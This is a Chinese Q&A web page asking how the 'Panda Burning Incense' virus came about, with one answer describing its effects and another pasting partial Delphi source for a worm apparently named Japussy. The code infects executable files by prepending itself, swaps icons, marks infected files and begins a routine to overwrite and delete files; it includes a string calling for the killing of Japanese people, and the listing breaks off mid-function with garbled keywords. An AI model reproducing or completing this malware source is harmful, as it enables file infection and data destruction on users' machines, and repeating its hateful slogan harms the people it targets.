问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

熊猫烧香这个病毒是怎么出来的?

发布网友 发布时间:2022-05-26 17:34

我来回答

4个回答

热心网友 时间:2023-10-12 11:15

其实是一种蠕虫病毒的变种,而且是经过多次变种而来的。尼姆亚变种W(Worm.Nimaya.w),由于中毒电脑的可执行文件会出现“熊猫烧香”图案,所以也被称为“熊猫烧香”病毒。用户电脑中毒后可能会出现蓝屏、频繁重启以及系统硬盘中数据文件被破坏等现象。同时,该病毒的某些变种可以通过局域网进行传播,进而感染局域网内所有计算机系统,最终导致企业局域网瘫痪,无法正常使用,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

http://bk.baidu.com/view/697258.htm#1

热心网友 时间:2023-10-12 11:15

编写出来的

以下是原代码

代码:--------------------------------------------------------------------------------
程序代码
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procere SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;

{ 将目标文件写入垃圾码后删除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;

热心网友 时间:2023-10-12 11:16

编出来的啊。。不过编出来的作者现在在坐牢,很牛,但是用错地方啦。

热心网友 时间:2023-10-12 11:17

当然是做病毒的人编写出来的了。
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
胜达这款车百公里油耗多少? 胜达节能油加盟办厂可靠吗是不是骗子 河南洛阳胜达就是骗子,我把钱交了也不来人了,他们一个老总说了爱咋办... 胜达油是个骗局吗 胜达节能油是什么? 叩解度关于叩解的论述 湿重跟湿重有关的打浆磨片 戴尔XPS M1330-950重要参数 如果到别的单位去面试的话 如果人家问起为什么会选择这家公司而离开另外... 学生会被两个部门同时面试怎么办 什么是幸福生活英语作文 为什么说五一节后会大涨,历年春节后大涨的股票 挣扎呼号的意思? 口号英文怎么说 我想找欧洲私人导游,在哪里可以找到比较靠谱的呢 猴导游是在哪里才有? 新导游挂靠在什么地方比较好 一篇作文:感动瞬间 导游专业在全国什么地方最吃香 去张家界需要找导游吗,找的话要在哪里找比较好,大概 都江堰在什么地方找导游 广州有什么好玩的地方?导游在哪里... 中国最厉害的导游在哪个地方 我在那里无忧无虑生活的向往。我还知道诗人什么在什么诗中描写儿童的诗句是什么什么? 白山市到长白山应该怎么去?现在长白山能上去吗? 从辛弃疾笔下我们找寻到无忧无虑地玩耍,享受着童年美好时光的孩子。诗句有哪些? 幼儿园大班的应用题怎么写 四年级关于儿童生活无忧无虑的诗句 关于儿童小时侯自由自在无忧无虑的古诗 长白山可以骑摩托车上山吗 各个景点允许骑摩托车进入吗 电容器,一边接地的接地的那边代表什么意思 电容器一端接地时,电量会发生变化吗? 平行板电容器中,一板接地,意为什么? 电容器接地为什么Q不变啊 电容那一章,做题时老遇到电路图里电容器的一端接地,这能说明什么? 电容器一个极板接地就不会放电,电荷量就不会减少,为什么 电容器接地的一端一定带负电荷? 为什么电路板中的电容总要一端接地呢 如果电容器一端接地,或者电路中有一点接地,那么电流为什么不会流向大地,而只是电势为0? 为什么电容器一端接地,接地那端所带电荷量不变? 高二物理,电容器一极板接地一个不接和两极板都接地有什么区别? 宜宾市的劳动合同在哪儿拿? 韩人用的香水是什么? 我们共同成长 600字左右 求半命题作文。。。(中,我们慢慢长大) 一加快充可以充苹果8吗 电脑显示器开机后花屏了。动不了了。 淘宝上退货是要确认收货才能退吗 笔记本内存扩展要注意哪些事项? 怎么给笔记本添加内存 给笔记本添加内存的注意事项